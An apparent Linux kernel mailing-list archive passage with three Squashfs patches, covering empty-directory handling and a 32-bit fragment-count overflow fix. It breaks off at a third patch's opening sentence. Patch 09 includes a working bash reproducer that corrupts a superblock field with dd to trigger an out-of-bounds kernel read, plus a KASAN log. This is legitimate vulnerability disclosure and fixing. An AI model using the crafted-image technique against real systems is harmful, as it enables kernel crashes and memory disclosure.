(2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=eTqwUnix; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=TU9f0OZp Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKxsxiqQg; Mon, 23 Nov 2026 03:43:36 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405417; bh=4NZNd9Ji2ZS1mTLorjjVdHGN6FwnQ2eRZygTpuOg12s=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=eTqwUnixpeeRV/DtL3ltyEuL33HoPBSaRWb/12Mk1/MjGTCADNJRjTTLFT35dfLJu N116WFrgpTicssJr85UUYfxPYw8l+88yAYK8tBSpMKS6ekgBHLSbnEoqq9o0DxpWA7 22Q7xHDm0GmEVkdf18L3MBprgy3SOMIIhxEzMXCzfxRO8wI2QfG9n3gHg/P+o9Dj0w tseiKCP3d30zEkuOq3k7BJETjGAeffi+dSvkM2gKVVRFwS8i7SXabdvUJ0BMv2PUdI qWFaLOIzw+gHIgjqmUVS8xTn5WWOSeuRWhra2lbidAppJ+8lWYcWf0Nr3V4ocCQuKu YL1IpZL4gpLIA== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405417; bh=4NZNd9Ji2ZS1mTLorjjVdHGN6FwnQ2eRZygTpuOg12s=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=TU9f0OZp6zSg4xMH2X3jne1J3yIi9On3+xg4pXjfHJTMx/TrKvR0HNGe1tNPilb0w X1eCjTc07vxAb8bMAEM3+4H+4XJzHVhGnXLjyNmuAcg7njemwbnj/53joy8IeRBBXq Nf/wkqnlA+TyiMMispb7Yi8fBm8QSnJZQnfAZZ29U+Ok3NjScjluwiPSjHCDpkFI2V E1J2qLl/k67zfS/sX0gQqNeg3oDJYM/GPZAF81XfCTGHHKMREkJnkwGqcWQSBzSP/y ubIWOjNABrFIq3n6aj5GXXqv95sLFfCW4bH2SrwNvp1PfhLM1zh+tGAvgBCA8wSmS8 6uN3VaKUio4KA== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b669 a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=zrJx8fS5UJxIVRjR8XIA:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: 51d7b4bf2e6eaeabdb384046890b06a7:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 08/23] Squashfs: don't compute start or alloc memory on empty directory or index Date: Mon, 23 Nov 2026 03:42:49 +0000 Message-ID: <20261123034304.261742-9-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfDeoEjlzQ8nFBP3ZQ5yK35Zq48hwP2sYxXsd3y+tAIqHcxvAN3LPrnU7RVYyzQnjP0TwmdS5xzYWzeaxqohrKiX3FiBDtI7jm9QxvkCkyn6aPhgMYyaE BmNGmf6gMwlgR4422Nz8jdqNJ44TIIr75qXABCcc9t7uWLiwMsU5g66HpHZzMVV02z9Fa8lgOcv9LyYnEXqtEXZrFraOkINKlN9qSzXGfqAFfZXRBL7B4ha1 CmWuQYNbBPvi5ZTZY+76ECp9tR7eoUAgAtqBEPBQrvi0tgHBu170oafeqiyzUTWG Content-Type: text/plain; charset="utf-8" If a directory is empty (length equals 3), then there is no data to be read from the filesystem. This means we can optimise directory reading and lookup with empty directories by skipping allocating memory to read data into, and also skip computing the start location. If the directory index is also empty, we can also skip allocating memory when reading the index. This commit also fixes the TRACE statements to display the start and offset of the directory data within the directory table, rather than the computed location on disk, or the incremented values after squashfs_read_metadata() has been called. It also adds sanity checks to ensure that the directory length is not less than 3 bytes. Signed-off-by: Phillip Lougher --- fs/squashfs/dir.c | 32 +++++++++++++++++++++----------- fs/squashfs/inode.c | 16 ++++++++++++++-- fs/squashfs/namei.c | 32 +++++++++++++++++++------------- 3 files changed, 54 insertions(+), 26 deletions(-) diff --git a/fs/squashfs/dir.c b/fs/squashfs/dir.c index cd3598bd034f..7bbdfa438a32 100644 --- a/fs/squashfs/dir.c +++ b/fs/squashfs/dir.c @@ -99,19 +99,14 @@ static int squashfs_readdir(struct file *file, struct d= ir_context *ctx) { struct inode *inode =3D file_inode(file); struct squashfs_sb_info *msblk =3D inode->i_sb->s_fs_info; - u64 block =3D squashfs_i(inode)->start + msblk->directory_table; - int offset =3D squashfs_i(inode)->offset, length, err; + u64 block; + int offset, length, err; unsigned int inode_number, dir_count, size, type; struct squashfs_dir_header dirh; struct squashfs_dir_entry *dire; =20 - TRACE("Entered squashfs_readdir [%llx:%x]\n", block, offset); - - dire =3D kmalloc(sizeof(*dire) + SQUASHFS_NAME_LEN + 1, GFP_KERNEL); - if (dire =3D=3D NULL) { - ERROR("Failed to allocate squashfs_dir_entry\n"); - goto finish; - } + TRACE("Entered squashfs_readdir [%llx:%x]\n", squashfs_i(inode)->start, + squashfs_i(inode)->offset); =20 /* * Return "." and ".." entries as the first two filenames in the @@ -142,6 +137,19 @@ static int squashfs_readdir(struct file *file, struct = dir_context *ctx) ctx->pos +=3D size; } =20 + if (i_size_read(inode) =3D=3D 3) + /* The directory is empty, nothing more to do */ + goto finish; + + dire =3D kmalloc(sizeof(*dire) + SQUASHFS_NAME_LEN + 1, GFP_KERNEL); + if (dire =3D=3D NULL) { + ERROR("Failed to allocate squashfs_dir_entry\n"); + goto finish; + } + + block =3D squashfs_i(inode)->start + msblk->directory_table; + offset =3D squashfs_i(inode)->offset; + length =3D get_dir_index_using_offset(inode->i_sb, &block, &offset, squashfs_i(inode)->dir_idx_start, squashfs_i(inode)->dir_idx_offset, @@ -206,12 +214,14 @@ static int squashfs_readdir(struct file *file, struct= dir_context *ctx) } } =20 -finish: kfree(dire); + +finish: return 0; =20 failed_read: - ERROR("Unable to read directory block [%llx:%x]\n", block, offset); + ERROR("Unable to read directory [%llx:%x]\n", squashfs_i(inode)->start, + squashfs_i(inode)->offset); kfree(dire); return 0; } diff --git a/fs/squashfs/inode.c b/fs/squashfs/inode.c index 66858fabed1a..96b5b9c336dd 100644 --- a/fs/squashfs/inode.c +++ b/fs/squashfs/inode.c @@ -257,8 +257,14 @@ int squashfs_read_inode(struct inode *inode, long long= ino) if (err < 0) goto failed_read; =20 - set_nlink(inode, le32_to_cpu(sqsh_ino->nlink)); + /* The directory size must be 3 or larger, as it includes "." and ".." e= ntries */ inode->i_size =3D le16_to_cpu(sqsh_ino->file_size); + if (inode->i_size < 3) { + err =3D -EINVAL; + goto failed_read; + } + + set_nlink(inode, le32_to_cpu(sqsh_ino->nlink)); inode->i_op =3D &squashfs_dir_inode_ops; inode->i_fop =3D &squashfs_dir_ops; inode->i_mode |=3D S_IFDIR; @@ -282,9 +288,15 @@ int squashfs_read_inode(struct inode *inode, long long= ino) if (err < 0) goto failed_read; =20 + /* The directory size must be 3 or larger, as it includes "." and ".." e= ntries */ + inode->i_size =3D le32_to_cpu(sqsh_ino->file_size); + if (inode->i_size < 3) { + err =3D -EINVAL; + goto failed_read; + } + xattr_id =3D le32_to_cpu(sqsh_ino->xattr); set_nlink(inode, le32_to_cpu(sqsh_ino->nlink)); - inode->i_size =3D le32_to_cpu(sqsh_ino->file_size); inode->i_op =3D &squashfs_dir_inode_ops; inode->i_fop =3D &squashfs_dir_ops; inode->i_mode |=3D S_IFDIR; diff --git a/fs/squashfs/namei.c b/fs/squashfs/namei.c index 2260a3f05fde..c8009e0b2edd 100644 --- a/fs/squashfs/namei.c +++ b/fs/squashfs/namei.c @@ -72,6 +72,9 @@ static int get_dir_index_using_name(struct super_block *s= b, =20 TRACE("Entered get_dir_index_using_name, i_count %d\n", i_count); =20 + if (i_count =3D=3D 0) + goto out; + index =3D kmalloc(sizeof(*index) + SQUASHFS_NAME_LEN + 1, GFP_KERNEL); if (index =3D=3D NULL) { ERROR("Failed to allocate squashfs_dir_index\n"); @@ -126,13 +129,20 @@ static struct dentry *squashfs_lookup(struct inode *d= ir, struct dentry *dentry, struct inode *inode =3D NULL; struct squashfs_sb_info *msblk =3D dir->i_sb->s_fs_info; struct squashfs_dir_header dirh; - struct squashfs_dir_entry *dire; - u64 block =3D squashfs_i(dir)->start + msblk->directory_table; - int offset =3D squashfs_i(dir)->offset; - int err, length; + struct squashfs_dir_entry *dire =3D NULL; + u64 block; + int offset, err, length; unsigned int dir_count, size; =20 - TRACE("Entered squashfs_lookup [%llx:%x]\n", block, offset); + TRACE("Entered squashfs_lookup [%llx:%x]\n", squashfs_i(inode)->start, + squashfs_i(inode)->offset); + + if (len > SQUASHFS_NAME_LEN) + return ERR_PTR(-ENAMETOOLONG); + + if (i_size_read(dir) =3D=3D 3) + /* The directory is empty, and so there's nothing to do */ + goto exit_lookup; =20 dire =3D kmalloc(sizeof(*dire) + SQUASHFS_NAME_LEN + 1, GFP_KERNEL); if (dire =3D=3D NULL) { @@ -140,10 +150,8 @@ static struct dentry *squashfs_lookup(struct inode *di= r, struct dentry *dentry, return ERR_PTR(-ENOMEM); } =20 - if (len > SQUASHFS_NAME_LEN) { - err =3D -ENAMETOOLONG; - goto failed; - } + block =3D squashfs_i(dir)->start + msblk->directory_table; + offset =3D squashfs_i(dir)->offset; =20 length =3D get_dir_index_using_name(dir->i_sb, &block, &offset, squashfs_i(dir)->dir_idx_start, @@ -218,10 +226,8 @@ static struct dentry *squashfs_lookup(struct inode *di= r, struct dentry *dentry, err =3D -EIO; =20 read_failure: - ERROR("Unable to read directory block [%llx:%x]\n", - squashfs_i(dir)->start + msblk->directory_table, - squashfs_i(dir)->offset); -failed: + ERROR("Unable to read directory [%llx:%x]\n", squashfs_i(dir)->start, + squashfs_i(dir)->offset); kfree(dire); return ERR_PTR(err); } --=20 2.47.3 From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=92.204.81.43 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405427; b=tawtuZwsjs1Z1RTs1Yn6GztpvhYkhEF2oUMw6Wb0GM/rSQwgC4lFuNagfaPUdOMv12e6 0EuexMzNvz4x3VxJIg5lG+vABmxMrDGjm4mEPywC6QW/X9etbmjH/1RNvutIWAll28RTu pES2H6Okku+DHQYQps/+HREExMchzLBB+JNO8aDgfZ8mDmme4Yhk28fWbSsYJVyKkxTEh Dm9W70yMaaFvJWfNdHH+HUawrLe6egnfC7dwfw8Zao9+bf7Z37EX8HYRO0nnzhi1coCQG LMDYR4eUDKqCtb5cddss022rmoVF13GZ0Cz5odpleiIvdCH0pxginPO8TLvejp37VKQ== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405427; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=iWtGlCsXyDg+0XDDQp42mfm/iFWlVjXTouLGzx7/hcs=; b=awjoIoxs5VSrWPJmGI6OR+HqRUQym+JwxQfzmXI92XdawBPcaHBLXextNIAJyuf/UTFP yrT9k5UWqIorz2hgvX+F5CPZD/6+Y50pXDB/6ZYf8Yf4ChNroVe7AGQnHdj+Rb/XNfj1/ lA5DSacasKvwaoq2rWaC8O9l0q42v/GjbuJho1gtGYWCz+OEvYXEhhSY9uu6/XOZwKFAY GhtDJpa0DE9SzoxlFYsvUWSyHfMqNveMYBBqI5jRspEhHNGhKrjMhuoNnr5m6LCrR0Tu8 ORlzZ7UdBmBkQ+y1FvEzyV7dgYYFCjaKJefIv90mBSCXB/tBlUB1lr3CPyE0f8Mi4Yg== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=TAT6cuWI; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=ZeE3YkLK; arc=none smtp.remote-ip=92.204.81.43 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [92.204.81.43]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id A1967606A6B4 for ; Mon, 23 Nov 2026 03:43:46 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org A1967606A6B4 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=TAT6cuWI; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=ZeE3YkLK Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKxtxiqQq; Mon, 23 Nov 2026 03:43:38 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405419; bh=iWtGlCsXyDg+0XDDQp42mfm/iFWlVjXTouLGzx7/hcs=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=TAT6cuWImdRmpZq2bnbdad+U6+Ttg2R1NYuySvc+ELUO5BazM3TZm9D6uTJOR29qG 6wAt03bOSrAIozRf48Ma8TVNYQNWQ8Ew/BOp7BEOI7pyvrUD6rID1RTo+l8aU3X337 ugbTkpq3r6rH5ONd3uyZzTsepfDS/7JwRb9GRh+b7U2ReNUhk9wmamzlPduoflcxyB vwpvG9ybL3GbH8SKo64gPrrQRH4ggCrNGb0EWvD41HllWjvRrG1RtVsBn4uhddxxBO rnuA0E7ph5F3xFQIbJJW5X7a8PYprXLzbUkntwdGvwwUd5QTqsWipbYIjwBK0XDhp6 w1Y7ZEcu7y/3Q== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405419; bh=iWtGlCsXyDg+0XDDQp42mfm/iFWlVjXTouLGzx7/hcs=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=ZeE3YkLK7dPf9Z4E/n995nyvWvCgsjM1CJLhSu4BMcQJhtX5UPppc8YqPPwM8uQKG HHt7AonsOryIz47S5RmzgsjVrEkdlm5XQJ/FCmbu09YHlHUbTIWkr9wUv7QjNWAklu EmuYbKhTEG/BqzgQmRRmvS1GCSJrZiUTXSZLg0VN9RMeSLL/DjI0qpWE0t91zVkVz7 xQy7AOwxyMFzhJqwZB4kK/o8f5cahOuzHr2DFJXErjFumRUxjo/ZhbhossYVG/T58w kalTS6ZADqyxEsRkTz4LCvCZR6Oe856okLlZnNEeboxO498dnsijk5J7ZQOVo1qvPP /clHOzJa9EeqA== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b66a a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=yKgdCBhA7QK4Y9OD5tEA:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: 31d0cd3480636aaf506d07518366b354:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 09/23] Squashfs: fix fragment bytes overflow on 32-bit architectures Date: Mon, 23 Nov 2026 03:42:50 +0000 Message-ID: <20261123034304.261742-10-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfMvRkqa7/9hcfMy/+wfilAS0eUFQDqgPMP91GfgoxUGRdVzi2P3Nr3xVXG+ZkBrsIVQ8GIMAlbxJscrE/wzgK5HK9GXewxggjiPWScMwEL4zurMB/sDA XHIicsgCt0BUFXGd5UVF08rZDW4FISd+KgwSnxu51Dkzpr2gzZzCu7ZmczAPlDRHRkOvaoI03R28A6nB4ycn/9VOGlJSTm3KGtCbhT1uGR4vP9SW3fF1hwDs tm+TpxAkK/eRhFtxBLRKkKMdclhodJS+virLelzvClcabMJjMWpjb5AEhphnFD9o Content-Type: text/plain; charset="utf-8" In helper function squashfs_fragment_bytes() the u32 fragments variable is multiplied by sizeof(struct squashfs_fragment_enty). On a 32-bit architecture the type of sizeof() is a 32-bit unsigned integer, which means the computation will overflow for fragments values above 268435455. The knock-on effect is the size of the in memory fragment index table will be incorrectly computed, and a much smaller than expected index table will be allocated and read into memory. Later when a fragment index beyond this is looked up in this table, this will produce an out of bounds access. The fix is to explicitly widen the fragments variable to a long long in the squashfs_fragment_bytes() helper function. Reproducer =3D=3D=3D=3D=3D=3D=3D=3D=3D The following script when run on a 32-bit x86 kernel (which lacks KASAN support) will produce an I/O error. On a 32-bit ARM kernel with KASAN enabled, the out of bounds access will also produce a KASAN report. [ 193.817260] =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D [ 193.818057] BUG: KASAN: slab-out-of-bounds in squashfs_frag_lookup+0x23c= /0x264 [ 193.820408] Read of size 8 at addr cc126708 by task stat/357 [ 193.820720] [ 193.821675] CPU: 3 UID: 0 PID: 357 Comm: stat Not tainted 7.2.0-13187-g6= 6498c75b4f8 #113 VOLUNTARY =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D #!/bin/bash ARGS=3D"-no-duplicates -no-sparse -no-hardlinks -quiet -no-progress" finish() { popd 2>&1 > /dev/null rm -rf $DIR exit 1 } # Create a Squashfs filesystem with 1026 files and 513 fragments. # This will create a two entry Squashfs fragment index table. # DIR=3D$(mktemp -d) pushd $DIR 2>&1 > /dev/null # Create a Squashfs pseudo file which is fed to Mksquashfs echo Create a Squashfs pseudo file which is fed to Mksquashfs dd if=3D/dev/urandom of=3Durandom bs=3D1024 count=3D50 status=3Dnone for i in $(seq 1 1026); do echo "$i l urandom" >> pseudo done # Create the Squashfs filesystem echo Create the Squashfs filesystem if ! mksquashfs - img.sqsh -pf pseudo -p "/ d 0777 0 0" $ARGS; then echo Failed to create Squashfs filesystem finish fi # The fragments field (fragment count) in the superblock is at offset # 16 bytes. # # Over-write the fragments count with 268,435,457 little-endian. On a # 32-bit architecture, this when multiplied by 16 will overflow, giving # the value 16. # # Ultimately this will cause the kernel code to create and read a single # entry index table (where in fact the table has two entries). # # Then stating file 999 which has a fragment id in the second index, # will cause an out of bounds access. # Write 268,435,457 in little-endian format to file /usr/bin/echo -en "\x01\x00\x00\x10" > file # Over-write the fragments count in the superblock echo Over-write the fragments count in the superblock dd bs=3D1 seek=3D16 if=3Dfile of=3Dimg.sqsh count=3D4 conv=3Dnotrunc status= =3Dnone # Mount the filesystem to /mnt echo Mount the filesystem to /mnt if ! mount -t squashfs img.sqsh /mnt; then echo Mount of Squashfs filesystem failed finish fi # Stat file 999 echo Stat file 999 stat /mnt/999 popd 2>&1 > /dev/null rm -rf $DIR =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Fixes: ffae2cd73a9e ("Squashfs: header files") Signed-off-by: Phillip Lougher --- fs/squashfs/squashfs_helpers.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h index 4088e598400f..524d4a77686d 100644 --- a/fs/squashfs/squashfs_helpers.h +++ b/fs/squashfs/squashfs_helpers.h @@ -55,7 +55,7 @@ static inline s64 squashfs_mkinode(u32 start, u16 offset) /* fragment and fragment table defines */ static inline s64 squashfs_fragment_bytes(u32 fragments) { - return fragments * sizeof(struct squashfs_fragment_entry); + return (s64) fragments * sizeof(struct squashfs_fragment_entry); } =20 static inline s32 squashfs_fragment_index(u32 fragments) --=20 2.47.3 From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=188.121.53.40 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405434; b=KfzD/O6C+pCMwubJ67LnSB2ucf8YEHKe7MX1DxA5YNzeIXrCfY6rikIMivq7jQwaODfV /U+imuOoTkR6HYp5l0r62WxctsWzhKvmNcfse041tVmSYAef9sN8jL/0bdIRNN1Va6nTU d1gc4Z+kn1wpmTM7iGKcs5KYW5vVqjKIeSEFeZKNoo7ArEVTAh/wHhCma0uARKzJIiSGS uAET1FjbB/OANNZhrvkJMVkNdl3tCHd8zC3jVb0o6uPUQ61nDrsCbWJeMuEYr7vt8HXyp U62to1bK/o/u4hCAgzbDljXz7BL6DwXM1kskAbCk9aHKbtb9o9QCEWqZgQHlNv6FxWg== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405434; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=r9eLjveMin1D2ZLNPwxfKt5MBfGoC53sknDXJOavBvI=; b=VIw4g5rEkFqoWSgAVCNQVAYGfUM635AGgZ/6ODAb3OEWQr86FF7kW3XQ/OuXqESzWlPZ YO9T8OkrVmHPAO43xAO+Q5+pGdIpsAfIstPBMSbLMe4p5/IM2H+hmgQlkEjeAnPQ43/Mi G6Ptj1pmFVhE+S+Nfh+bM4yJKAFu94yWH6ddche6IjNjAQbNVYiHQw8mWDXBmeet8FJY1 b9QrVLCY37UazvsNNCz5jMxW2xEU5XMNAELfvYWqsl7P3wDzn6OGUrsxgQhasJxsguczH LTnjhr1pwumvTvxBp54ULKhDsybVkDlGVlIZksSTDkrzsaqQPeSVEiW7JWZOn3IzuBA== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=F06rRA2J; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=kuXPwLz7; arc=none smtp.remote-ip=188.121.53.40 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [188.121.53.40]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id B1261606A6AE for ; Mon, 23 Nov 2026 03:43:53 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org B1261606A6AE Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=F06rRA2J; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=kuXPwLz7 Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKxvxiqQv; Mon, 23 Nov 2026 03:43:39 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405420; bh=r9eLjveMin1D2ZLNPwxfKt5MBfGoC53sknDXJOavBvI=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=F06rRA2JB3307I+KC29BSXW5iz09MwURQP8yfJg1Is05XZ4i41wqdZGtmAeWs86jb 6nCf+NDLCV8Duvav/q87oqJLh4NBVL0xPCL9IEpDqwrPbmJiLCZx7dHSacD1dYCeor hW4Y8S0f9jdA1Q5wPUGOLflVDUZaoTQiDeVzLZpbTFcrSXEb0g5GENqZ8xNYSpMyXL ieVag2HT4N4Ei664vfxNwwbK5uyTAkrhn9L6OjovtSfIj4ooK1N50h3c9u0MX/4yTy vmy56uf7HbLGalL7EvffwMgjB+9587r+iG0sxqhg6S4UXnf1HP2ZKtWcLAplY0irkr 3vzGfu/gatL/g== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405420; bh=r9eLjveMin1D2ZLNPwxfKt5MBfGoC53sknDXJOavBvI=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=kuXPwLz7WissNqJF/9ZnoesTFosciYC+l8Hn5imhXnElFCNnbrNfXwTWbpeNZHpHV bv4wmXp44f+VSbtssPXSsdK6g21ER1X+dIUibaDeD7UU/fulVi676FMvMyjEFN/OLe Ri2YQaTjrSo7tnd/f/kR2hCHFWcRxS0N9a5RvYbMR338Ro9gZ8EBgceEwt+QimD960 ODF+phEoNB9eBLa7d2ClS6e5UBoijcwZcrd8BV5PIwwLc/jyVGaOcf7JyXES3csnIC kUMzUhPhNmp5aVBDDqon/5y4TUJS+hL3LVY4zu96exjmK2sneLVtUKjDRWtwkS2FA4 RvKPABVT0uYDA== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b66c a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=5M4-1oPrCebqpQMMblwA:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: 4b1b760fde2071f74a918bc97cd69185:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 10/23] Squashfs: fix fragment index table length too large exploit Date: Mon, 23 Nov 2026 03:42:51 +0000 Message-ID: <20261123034304.261742-11-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfKS11Q7GhjjAieyObogY9+FFnHs+4wjcb64TuPPAGVTT6gAbKlHF7TaQNtGD5PM3WK3DITai2Yi3WDnbNR9ENqHMqOI5Dp8wPfwR5xXhjh5yMZGJnwIH r8hvH3eTQaIO7dNC7IIJZb8Bj1jUUzmgn9lY+mzxItSIhqsFuRNPeqA+JbTNCftclTlyH/SVtmMC3He0JVDtDj7XmyifdtkKbDbZ5EdX1W149COHRDYrJUtn t5VvNQIGi3B8bymfyCeNp5N5Q2YL9i7ZREfv/QA0rXDUPee2SRJY5YTXG3+/Uslc Content-Type: text/plain; charset="utf-8" An attacker can manipulate the fragment count and the 